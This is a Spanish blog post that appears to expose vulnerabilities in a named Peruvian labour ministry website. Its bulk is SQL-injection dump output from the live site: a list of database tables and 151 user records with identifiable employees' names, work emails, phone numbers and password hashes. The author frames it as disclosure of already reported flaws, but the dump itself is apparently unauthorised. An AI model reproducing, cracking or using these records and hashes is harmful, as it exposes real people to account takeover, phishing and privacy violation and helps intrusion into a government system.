Bueno, como es de conocer la mayoría de las paginas webs del Gobierno Peruano son vulnerables; pero eso no es todo, ya que "brindan" toda la Base de Datos (sin conocer) para cualquier persona que sepa explotar un simple SQL, pues dado este caso los programadores de dichas webs, no se toman la molestia de al menos realizar un simple scanneo o ver la manera de tener una mejor seguridad y responsabilidad en lo que respecta su trabajo.
Pues bien, el sitio web http://www.mintra.gob.pe es vulnerable ya desde hace mucho tiempo y hasta la actualidad sigue teniendo las mismas vulnerabilidades la cual permite injectar parámetros para obtener toda la Base de Datos del sitio web.
Vulnerabilidades Encontradas:
- SQL
- XSS
- LFI
- Buffer Overflow
- Shell Injection
Veremos la base de datos mediante la Vulnerabilidad SQL Injection:
available databases [3]:
[*] DB_PAGWEB
[*] information_schema
[*] test
Database: DB_PAGWEB
[69 tables]
+----------------------+
| CCMVC_CONSULTA |
| CCMVD_CONSULTA |
| CCTBC_AYUDA |
| CCTBC_ESTADO |
| CCTBC_TEMAS |
| CCTBC_TIPUSUARIO |
| JPMVC_CONJUR |
| JPMVC_DERECHOS |
| JPMVC_EXPEDIENTE |
| JPMVC_REFCONST |
| JPMVC_REFINFRACONST |
| JPMVC_REFINT |
| JPMVC_TEMAS |
| JPMVD_EXPEDIENTE |
| JPTBC_CASOS |
| JPTBC_DATAPJ |
| JPTBC_MATERIA |
| JPTBC_ORGANOE |
| JPTBC_ORGANOP |
| JPTBC_PERSONA |
| JPTBC_PERSONAbbbb |
| JPTBC_PROCESO |
| JPTBC_TIPOFALLO |
| JPTBC_TIPOPERSONA |
| JPTBC_TIPOPREC |
| JPTBC_TIPORECURSO |
| JPTBD_MATERIA |
| JPTBD_ORGANOE |
| PWMVC_BANNER |
| PWMVC_COMUNICADO |
| PWMVC_CONSULTAS |
| PWMVC_CONTADOR |
| PWMVC_FORO |
| PWMVC_FOTO |
| PWMVC_GALERIA |
| PWMVC_PROGRAMA |
| PWMVC_PUBLIC |
| PWMVC_SERVICIOS |
| PWMVD_FORO |
| PWMVD_SERVICIOS |
| PWMVD_SOLPUB |
| PWMVD_TVMINTRA |
| PWMVD_VIDEOS |
| PWTBC_AGENDA |
| PWTBC_DEPARTAMENTO |
| PWTBC_DISTRITO |
| PWTBC_ENCUESTATV |
| PWTBC_EVENTO |
| PWTBC_MENU |
| PWTBC_MENU_V4 |
| PWTBC_MENU_V4_BCK |
| PWTBC_MULTBL |
| PWTBC_NORMAS |
| PWTBC_OFICINA |
| PWTBC_PROVINCIA |
| PWTBC_PUBESTADISTICA |
| PWTBC_REGEVENTO |
| PWTBC_ROL |
| PWTBC_TUPA |
| PWTBC_USUARIO |
| PWTBC_VIDEOPRIN |
| PWTBD_MULTBL |
| PWTBD_TUPA |
| SNILMVC_NORMAS |
| SNILMVD_NORMAS |
| SNILMVD_PREGUNTAS |
| SNILTBC_MULTBL |
| SNILTBC_SUSCRIPCION |
| SNILTBD_MULTBL |
+----------------------+
Table: PWTBC_USUARIO
[13 columns]
+-------------+-----------------+
| Column | Type |
+-------------+-----------------+
| I_CODOFICIN | int(3) unsigned |
| I_CODROL | int(3) unsigned |
| I_CODUSU | int(3) unsigned |
| I_ESTREG | int(1) unsigned |
| I_TIPCONSUL | int(3) unsigned |
| V_APEMATUSU | varchar(255) |
| V_APEPATUSU | varchar(255) |
| V_EMAIL | varchar(255) |
| V_NOMBREUSU | varchar(255) |
| V_NUMCEL | varchar(15) |
| V_NUMTEL | varchar(15) |
| V_PASUSU | varchar(255) |
| V_USUARIO | varchar(255) |
+-------------+-----------------+
Database: DB_PAGWEB
Table: PWTBC_USUARIO
[151 entries]
+------------------------+----------------------+-----------------------------------+-------------------------+-----------+----------------------------------+
| V_APEMATUSU | V_APEPATUSU | V_EMAIL | V_NOMBREUSU | V_NUMCEL | V_PASUSU |
+------------------------+----------------------+-----------------------------------+-------------------------+-----------+----------------------------------+
| HUAMANI | GALLEGOS | LGALLEGOS@MINTRA.GOB.PE | LUIS | 992264413 | d10d8490526fd5b7cd7fff442ab716c6 |
| Y RELACIONES PUBLIICAS | COMUNICACION SOCIAL | PRENSA@MINTRA.GOB.PE | OFICINA DE | 960 | c830613be3a71fd0f6a158d37bc90bac |
| FARFAN | RAVELO | KRAVELO@MINTRA.GOB.PE | KAREN | 988651906 | b03ae4ff4a3303a1d495b71cdd7f1213 |
| NULL | APARCANA | CAPARCANA@MINTRA.GOB.PE | CRISTIAN | NULL | d10d8490526fd5b7cd7fff442ab716c6 |
| NULL | GANTU | NULL | ALEX | NULL | 921e4bbb06b68d7307dc48a7e251b092 |
| GUARDIA | GUEVARA | jguevara@mintra.gob.pe | JORGE | NULL | 13ee1c7ab14e6d19902ca3e1dc1e7774 |
| VIRTUAL | VENTANA | WEBMASTER@MINTRA.GOB.PE | ADMINISTRADOR | NULL | b5992578dd9cc29e1f29253a809c909b |
| VIRTUAL | VENTANA | WEBMASTER@MINTRA.GOB.PE | USUARIO | NULL | 5c5863db1dbf0f9870abd632afc008dc |
| . | DISEL | DISEL@MINTRA.GOB.PE | ADMINISTRADOR | NULL | 4035cd71da661cfb84218d72a5474a01 |
| . | DFPDRH | DESARROLLO@MINTRA.GOB.PE | ADMINISTRADOR | NULL | 8b0865949302da76bb6fb792a48ab1b4 |
| NULL | ROBLES | NULL | PATRICIA | NULL | 456a70deb8cb1de955f95c01a4787234 |
| NORIEGA | FLORES | tflores@mintra.gob.pe | TOMAS | NULL | 0681027a18f0ef9261584a982b452906 |
| GOMERO | RAJO | jrajo@mintra.gob.pe | JESSICA | NULL | a5e1f408e978639a25e22339b0cc1d42 |
| BRAVO | VILLAFURTE | mvillafuerte@mintra.gob.pe | MARIA DEL ROSARIO | NULL | 687bf89d2bd9bba327d2f28d10219388 |
| MALDONADO | CORNEJO | ecornejo@mintra.gob.pe | ELIZABET | NULL | 8f742ce64398f5bc0a3030e49a9e91a0 |
| ANTONIOLI | BELTRAN | ybeltran@mintra.gob.pe | YOLANDA CESARIA | NULL | 1252660dad16a83a8be25e4b64d7dd58 |
| GONZALES | SOLIS | msolis@mintra.gob.pe | MAURO | NULL | c2e5b421cddd6894d91b1b403402a6a7 |
| QUINTO | NUÑEZ | bnunez@mintra.gob.pe | BLANCA VICTORIA | NULL | 282d404fca7a37858097435641ecd1bf |
| CHAVEZ | COTRINA | rcotrina@mintra.gob.pe | RAFAEL | NULL | 731790e20633fc7c0b30988a60e1ed0e |
| HINOSTROZA | TUMIALAN | ltumialan@mintra.gob.pe | LILIANA | NULL | 32c34701e42444d4cf70e1e995a11f99 |
| ROSAS | VILELA | amazonas_dr@mintra.gob.pe | JUSTA MARIA | NULL | 0c4a7641de486421ef02702b4f4ea7df |
| ROJAS | VASQUEZ | ancash_dr@mintra.gob.pe | EDWAR MILTON | NULL | 5e8522a608f8525c445edd84bbdcae01 |
| NUÑEZ | LANTARON | apurimac_dr@mintra.gob.pe | CRISTINA | NULL | af868c710b58c822eaa07ceb354832e8 |
| SAENZ | MIXCAN | arequipa_dr@mintra.gob.pe | WILMER | NULL | 5ab388aeca4eeae4e98b7011e65faf1a |
| AYALA | FLORES | NULL | ADALBERTO | NULL | bbaea71b0bfdd81dbc59c5c3edcdc234 |
| PALOMINO | ÑAHUI | huancavelica_dr@mintra.gob.pe | CARLOS ANDRES | NULL | 48b38ff59056dff7e5f98528af259273 |
| MACCHA | COTRINA | huanuco_dr@mintra.gob.pe | JESUS | NULL | cc29341d710afe59d62ee40a34eec1cc |
| VILA | VALLE | junin_dr@mintra.gob.pe | ELIZABETH VIRINA | NULL | 9c10ebe4f444e41dc2f5f0c1ef9fba35 |
| CABALLERO | FERRADAS | libertad_dr@mintra.gob.pe | JOSE RAMIRO | NULL | d17ff455de7455c52321363aea24bab9 |
| PIZARRO | CAVAGNARO | ccavagnaro@mintra.gob.pe | CARLOS ALBERTO | NULL | 2f224317ab443d57491910448167d471 |
| LOPEZ | SALAS | jsalas@regionlima.gob.pe | JAVIER | NULL | 3587045c5b952dc0aa96197f60563226 |
| DELGADO | LEVEAU | trabajo_loreto@yahoo.es | EMERSON | NULL | 2f158b2a5083b2db09563196504219e8 |
| CAJACURI | ROSALES | madrededios_dr@mintra.gob.pe | OSWALDO | NULL | b7f36a9fb46c6fc9e6d106d5c6c37146 |
| HUACCHA | URIARTE | moquegua_dr@mintra.gob.pe | JOAQUIN | NULL | ab9eb636d65c3ff78619a67a5c883d85 |
| VERASTEGUI | CONTRERAS | pasco_dr@mintra.gob.pe | ABEL JOEL | NULL | c73ce673d548461f06f7210eb94be7af |
| CAMACHO | BAIQUE | piura_dr@mintra.gob.pe | PEDRO NOLASCO | NULL | a92fe2dd3ad489f69d0338ee0da7e158 |
| CERVANTES | CRUZ | puno_dr@mintra.gob.pe | JESUS MANUEL | NULL | fe6cac8171f82d246696d3e7afcfbcb6 |
| DEL AGUILA | RODRIGUEZ | sanmartin_dr@mintra.gob.pe | AMILCAR | NULL | bc7b1f7db350daa2dbf3774926a7c1cf |
| BORDA | FUENTES | tacna@drtpetacna.gob.pe | DARWIN REYNEL | NULL | da8716915523d1a82995b502cfa907e2 |
| GUERRERO | DONAYRE | drtpeu@peru.com | SANTIAGO | NULL | b2d681c8d55d5ccc703212ad8211d8c6 |
| GARCIA | ANTINORI | cajamarca_dr@mintra.gob.pe | LUIS HUMBERTO | NULL | fb25cb5a55b1ef9c6fa42614ba2a1d25 |
| ZEA | MORALES | cusco_dr@mintra.gob.pe | JORGE | NULL | f8b1397b12f74734e638b9faaf993527 |
| AZURIN | LOAYZA | drtpica@speedy.com.pe | OSCAR | NULL | df021b730c2a2a4f15b7adbd3175bf03 |
| CORDOVA | ROJAS | lambayeque_dr@mintra.gob.pe | JORGE | NULL | 9f1d10ca19a3a410e1d95e349392a920 |
| DEL PIELAGO | ALFARO | dalfaro@mintra.gob.pe | DAVID | NULL | 911c3eca59a4251eacc4168c539b9025 |
| OLIVARES | CERVANTES | mcervantesolivares@mintra.gob.pe | MARIA DEL PILAR | NULL | bb3ae968170b68de5144583973310256 |
| SILVA | CORREA | zcorrea@mintra.gob.pe | ZARIELITA MILAGROS | NULL | 7f9da1373efc0f5161385c4ee2c522d5 |
| BOLOVICH | ALVARO | jalvaro@mintra.gob.pe | JUAN CARLOS | NULL | 372d59acbbe4c8bbdf334d36e2e4cea6 |
| ALVARADO | AVILA | mavila@mintra.gob.pe | MIGUEL | NULL | 2eed18963321621a5b9550fff3a2802b |
| DONAYRE | URBANO | rurbano@mintra.gob.pe | ROMMY | NULL | 5a74b96976e01c6a3ad9a19883eaa427 |
| DIAZ | VERA | evera@mintra.gob.pe | EDGAR | NULL | 7776aabbac1a6fb5d35f16ca72e37d07 |
| NINAHUAR | PAUCARPURA | cpaucarpura@mintra.gob.pe | CATHERINE | NULL | a753df459da0c61255d2b9e5ba35d2b7 |
| PAREDES | SANCHEZ | gsanchez@mintra.gob.pe | GUSTAVO | NULL | 06d6761817aacc682751ac6242f3d9df |
| ANTONIOLI | BELTRAN | ybeltran@mintra.gob.pe | YOLANDA CESARINA | NULL | 0e789c1bf0d4bea28b2f7844acb7cae3 |
| VELASQUEZ | ALEJOS | calejos@mintra.gob.pe | CESAR ANTONNIO | NULL | df2b496742934e86ff1c98fa073d9e74 |
| FAJARDO | REYES | creyes@mintra.gob.pe | CESAR AGUSTO | NULL | b59fb17ec4f583a93fedd651c645ff23 |
| JIMENEZ | MIRANDA | zmiranda@mintra.gob.pe | ZOILA PAOLA | NULL | c73b3f107120ca7a78ff3b86c8608cdf |
| BARAHONA | HUAPAYA | encuesta4@mintra.gob.pe | MARIA DEL ROSARIO | NULL | ed41bbd01005cc70d046bdd5df182f04 |
| BRICEÑO | RAMIREZ | jramirez@mintra.gob.pe | JUAN | NULL | d45b6dfa20aa4c9a14a7ca86e6a2b27f |
| NULL | QUISPE | AQUISPE@MINTRA.GOB.PE | ALAN FRANCISCO | NULL | b6ede9c53c31145be2fe27658d3b31e1 |
| PORTOCARRERO | VELAZCO | peel@mintra.gob.pe | TATIANA | NULL | 8e7c8afc1eb3bd4ae7900cd072d8b026 |
| PUELLES | POLO | mtsismel@mintra.gob.pe | MARIA | NULL | 78b28491a1b032d87cf8539cd9903e8f |
| HEREDIA | PATRON | rpatron@mintra.gob.pe | ROXANA | NULL | 6b0b9311125b758f1103bc04589025fe |
| TORIBIO | CONDE | gconde@mintra.gob.pe | GLORIA | NULL | bc4cf80572e0dcff66dc5659c5ac2cac |
| FLORES | COLLADO | jcollado@mintra.gob.pe | JUDITH | NULL | 2568aab1e74142c60962e00fd552c729 |
| ARRUNATEGUI | JARAMILLO | cjaramillo@mintra.gob.pe | CARLOS | NULL | dff8cca16e5481fc3e431e73fc1a4116 |
| CHANG | FERNANDEZ | hfernandez@mintra.gob.pe | HUGO | NULL | 2507534743af6e964e04c9dee5aedbbc |
| PORRAS | HUATUCO | jhuatuco@mintra.gob.pe | JESUS | NULL | a96ba59131e394b12441c9a83d848ffb |
| CACERES | FLORES | rflores@mintra.gob.pe | RONNY | NULL | 335e0a223f44b0d2ef906d7f372dcc75 |
| GALARZA | YACOLCA | myacolca@mintra.gob.pe | MIRYAM | NULL | 5780f671729ffd7b483c593fcfa2396c |
| DE SANCHEZ | CHICANA | NULL | IRAIDA CONSUELO | NULL | 847e002e4c3640030d46f8a0a2a4b557 |
| GUZMAN | RISCO | NULL | JULIO ANIBAL | NULL | 691263d4a111f16649510699ea015ca0 |
| VELASQUEZ | ACOSTA | NULL | OSCAR WALTER | NULL | d764e92605b31ea3434f18f6c895c0be |
| MELENDEZ | CORDOVA | apurimac_dr@mintra.gob.pe | DARCY | NULL | a7e02d88a3c333f415a792e9a2440ed2 |
| RODRIGUEZ | PERALTA | NULL | AMADEO | NULL | 9a139e1c7fb6879c74291494639e127d |
| CAMARENA | FABIAN | NULL | ROLANDO | NULL | 42905e9035807711facbb88657fde2da |
| DIAZ | LOPEZ | NULL | CLODOALDO | NULL | b049324af0d1b0ccf6dfa03f29a1d938 |
| SAN ROMAN | DELGADO | NULL | ALEJANDRO | NULL | 9f92b4989ff294eb2333bd96e8449174 |
| LLERENA | MEDINA | NULL | EUSEBIO | NULL | f06832dbfa94e8ea5aaeb9d325c12d64 |
| CAVALCANTI | GALVEZ | NULL | HANNIELS | NULL | dd200f1d5de7b968a36d7217b35f678c |
| MAYTA | GAITAN | NULL | JUAN ALBERTO | NULL | 03a2d325b6f4f793c4b26a58cdfe92e0 |
| CONTRERAS | FERNANDEZ | NULL | MIRTHA | NULL | 7303deefc5b3dab9634b039217204bf4 |
| ZEGARRA | GARCIA | NULL | GREGORIO | NULL | 0bb31bae6c63dc18d3eedb475916e21b |
| ZEGARRA | ESCALANTE | NULL | THANY | NULL | 8f6b75342b99092a6e2d1d2ee5f1c50a |
| PEÑA | ESCOBAR | NULL | JULIA | NULL | 1b8205f7e4931f142254afb5b6d6d042 |
| QUISPE | VILCAS | NULL | WILLIAM FREDY | NULL | 6b69e413d2868dc4987674cb5d3e1b95 |
| TAQUIRI | YALI | NULL | NERY | NULL | 8d504de9aef5cdaef2f12835ad82ad42 |
| TASSO | RODRIGUEZ | NULL | GIOVANNI | NULL | f4aa1243da4794ea10e9d51380f1cd56 |
| VERGARA | CHACALIAZA | NULL | LUIS | NULL | 0f5d8e9a6f3751a9bff93a021e9c30ef |
| AQUIJE | AQUIJE | NULL | CIRA | NULL | c80612e7ed62e74cf43c414c0dfa9fe2 |
| ZARATE | RICALDE | NULL | ORLANDO HUGO | NULL | dab763356d755b16e8e7f71b844a67b4 |
| NULL | GUILLERMO RAMON | NULL | LUIS ENRIQUE | NULL | 1c9dd2aabb0a1f8d485096c375d69289 |
| FRANCO | HERMOZA | NULL | MAXIMO | NULL | 9d56fb6e0f466a55df53a38392c56dae |
| MUNGUIA | CAJAHUAMAN | NULL | RUBEN ELMER | NULL | 8008c42ef7fa0fb7f78c71b5176af726 |
| FLORES | RICARDO | ZAMUDIO | JUAN | NULL | de702af50dd039c9a9b36447827f7b8b |
| RUBIO | SICCHA | NULL | CARMEN | NULL | a51df537310e5d368a1b5da0d8d2160b |
| GOMEZ | ZACARIAS | NULL | RICHARD | NULL | c1c1cb70a2acd4e95e007efdd987ed96 |
| RUBIÑOS | MORENO | NULL | OSCAR HUMBERTO | NULL | 7edb6229fbb0baf654deec0f980fbcb0 |
| ENRIQUE | GUZMAN | NULL | FRANCISCO ALBERTO | NULL | d9b13b4f8095cbfba56440e8e7e8d19c |
| FALERO | SANCHEZ | asanchez@mintra.gob.pe | ASTRID | NULL | ad14d773709d5895854a9c9f60354e02 |
| AREMBURGO | CANCHIS | NULL | EMPERATRIZ | NULL | 9a865c8ee2924fc4c21b5dab7103545b |
| GARCIA | RUIZ | fruiz@mintra.gob.pe | FAVIOLA | NULL | 248c146e35fdd9044c000b90571230ad |
| DURAN | NAVARRO | wnavarro@mintra.gob.pe | WILLIAM RICARDO | NULL | ae5914783f351f429afef1ed17366029 |
| ALTAMIRANO | ECHEVARRIA | eechevarria@mintra.gob.pe | EDISON | NULL | 0603a68bf6ad0fee51c46cd2af27739a |
| GONZALES | TIMANA | NULL | NORMA LUZ | NULL | 0ee757565ff25ce658553e7f1d84dad3 |
| CARVAJAL | ISLA | NULL | PATRICIA YVANKA | NULL | 966332141a47e67b4c39118024544b07 |
| MONRAY | ARAUJO | NULL | EFRAIN | NULL | e34c17e28f7b1a2b54ba89af7f851f8b |
| CALSIN | CORIMANYA | NULL | ÑAUDELINA TERESA | NULL | 07569a3c8a4abea18867e14bb8316978 |
| ALVAREZ | MURILLO | NULL | JAVIER ROGER | NULL | e83617a806265e058c56129e951ef283 |
| CARRILLO | PEÑALOZA | NULL | HIGINIO ANTONIO | NULL | 29d606963806b259d758563a482de1c9 |
| RAMON | RIVERA | NULL | OLIVER OSCAR | NULL | 3e3e4cfa24c4e4ebd5dd7138caf6b213 |
| CAMPOS | CASTILLO | NULL | ANA GILDA | NULL | 60ee2ae3b199d0f364853c9e607b2ac1 |
| ARMIJOS | PIÑARRETA | NULL | JOSE HUGO | NULL | 4480415e40d67c1bc0ab1d01273b8b23 |
| LOPEZ | LAMA | NULL | JUAN CARLOS | NULL | 065805e0e018afac4cb9bd38a299698d |
| TUSE | CRIOLLO | NULL | RAMIRO | NULL | 4a1f792a3bc787e398eb1106a5b0206e |
| LLERENA | FERNANDEZ | NULL | YANI | NULL | 7768d827ab39fe5f3dcce95925b0266c |
| HUANCA | HURTADO | NULL | SERGIO | NULL | bbfce19e5e45175c9d79826bbe39e7ae |
| VELASQUEZ | RAMIREZ | NULL | MARY DE JESUS | NULL | c4765ce046ca2b376f7658a864c83677 |
| GONZALES | RUIZ | NULL | NEY | NULL | 9415105217432e43a7cf278099ef5d3b |
| ESCALANTE | PINEDO | NULL | FERNADO | NULL | 15ba64a98db64750d873992eea4b7b94 |
| VASQUEZ | MACEDO | NULL | LEVIS | NULL | bbdec6ff922fe7f2b8ce0525114f1b5b |
| MECHAN | MANUEL | GONZALES | JOSE | NULL | 29302eeeb148d04959daba239e8fb74f |
| MACUAGA | MONROY | NULL | JORGE | NULL | e5761ab41bcac9eea21f08562e54af3d |
| RODRIGUEZ | VILELA | tumbes_dr@mintra.gob.pe | OSCAR ANDRES | NULL | 2ad92f822436f6c0c456afe00020bf64 |
| VILCHEZ | NIÑO | NULL | NELLY ANGELITA | NULL | bb2d7dabd8f70459654327033ce2d3c1 |
| LIMACO | APACLLA | NULL | TEODORO JESUS | NULL | 8d538e43a1de55c37a1dc295add10603 |
| REATEGUI | FLORES | NULL | MARCO ANTONIO | NULL | c54057300c1435e86c4752a90ea212be |
| GRATELLI | RAMIREZ | NULL | EDMAN | NULL | 40ad9c834eb2b9d9768c54d06cf36ac7 |
| DOMINGUEZ | APONTE | NULL | JUAN | NULL | 93cfd2cf94dfb419e6cc2f491d46c3c6 |
| - | JURISPRUDENCIA | LGALLEGOS@TRABAJO.GOB.PE | USUARIO | NULL | d10d8490526fd5b7cd7fff442ab716c6 |
| - | PAREDES | PPAREDES@MINTRA.GOB.PE | PAUL | NULL | 42d7c5c4c7dc67869cf8208e486d627d |
| REYES | FRANCO | NULL | FREDY | NULL | 9c317e33d885981ce35294b602d5ef3c |
| ANCHAY | CARRASCO | NULL | JORGE ARTURO | NULL | eee07c78a5fe05a9ac55e039a66f9bb8 |
| RODRIGUEZ | BURGA | NULL | LUIS | NULL | fbc9d8eedee137d9139e2680db4258ac |
| huamani | gallegos | lgallegos@mintra.gob.pe | luis enrique | 988651906 | 33954026078cf8536f8e7f4406b8c84a |
| de la Cruz | Mendoza | consultaslaborales1@mintra.gob.pe | Wilfredo | NULL | 0930dbe50719d0cec4955c8c9115418f |
| Rodriguez | Rojas | CONSULTASLABORALES2@MINTRA.GOB.PE | Francisco | - | 4f7d533ca84b78b26605b7b0ca72b093 |
| Guardia | Guevara | jguevara@mintra.gob.pe | Jorge | 988557744 | ce5c9c830dd6cd20e9ceaf8e4fdf5efc |
| PANAIFO | VARA | lvara@mintra.gob.pe | LIZEL | NULL | 27e78e2458720dfd7390ff8a966e1bb7 |
| HUAMANI | GALLEGOS | LUIS.ENRIQUE.GALLEGOS@GMAIL.COM | LUIS | NULL | 33954026078cf8536f8e7f4406b8c84a |
| Trujillo | Aponte | maponte@mintra.gob.pe | Mirella | NULL | 6ec09db57c3b20731d6c0f6004ab2ea3 |
| huamani | gallegos | lgallegos@mintra.gob.pe | luis | 988651906 | d10d8490526fd5b7cd7fff442ab716c6 |
| Quispe | Saavedra | asaavedra@trabajo.gob.pe | Alan | NULL | e10adc3949ba59abbe56e057f20f883e |
| - | Astohuayhua | jastohuayhua@trabajo.gob.pe | Javier | NULL | 30dfd42a81f0e69da14c2ec6b64e07ed |
| empleo | usuario | empleo@mintra.gob.pe | empleo1 | 988651906 | 2f6169d8ae589b9bef44966ac622fbee |
| - | - | usuario2@mintra.gob.pe | Usuario2 | - | bdb991b400da11724d96b89040aad7a5 |
| - | - | usuario3@mintra.gob.pe | empleo3 | - | 74889e0214e98a66ae14fa50aba72826 |
| - | - | - | evento 4 | - | e33ecaa3d90b423e01739218a29deca2 |
| - | - | - | empleo5 | - | e5deb399cd46fcbd69d3ecf9df5b21f4 |
| Lopez | Arias | ylopez@mintra.gob.pe | Yasmin | - | ab98ec539a93c5d664564c07728ffca1 |
| Llanos | Novoa | cnovoa@mintra.gob.pe | Celso | - | 3c1625b00ae1d1ed81b4a69800c3e222 |
+------------------------+----------------------+-----------------------------------+-------------------------+-----------+----------------------------------+
Bueno, como ven la base de datos contiene datos importantes como NOMBRES, APELLIDOS PATERNOS Y MATERNOS, E-MAIL, NUMERO DE CELULAR Y CONTRASEÑAS, que podría afectar a las personas que laboran y frecuentan dicha web.
Ahora veremos la Vulnerabilidad XSS (Cross-site scripting):
Dicha vulnerabilidad se encuentra en los siguientes link's:
Cabe resaltar que esta vulnerabilidad es rechazada por muchos administradores & programadores de paginas webs, ya que piensan que con un simple XSS no se puede llegar hacer nada, pero estan totalmente equivocados ya que esta vulnerabilidad afecta demasiado a un sitio web y permite que un atacante pueda injectar codigos JavaScript llegando asi hasta poder defacear dicha web.
Todas las vulnerabilidad han sido respectivamente reportadas, pero hasta ahora no tengo respuesta.
Saludos & hasta la próxima.
No hay comentarios:
Publicar un comentario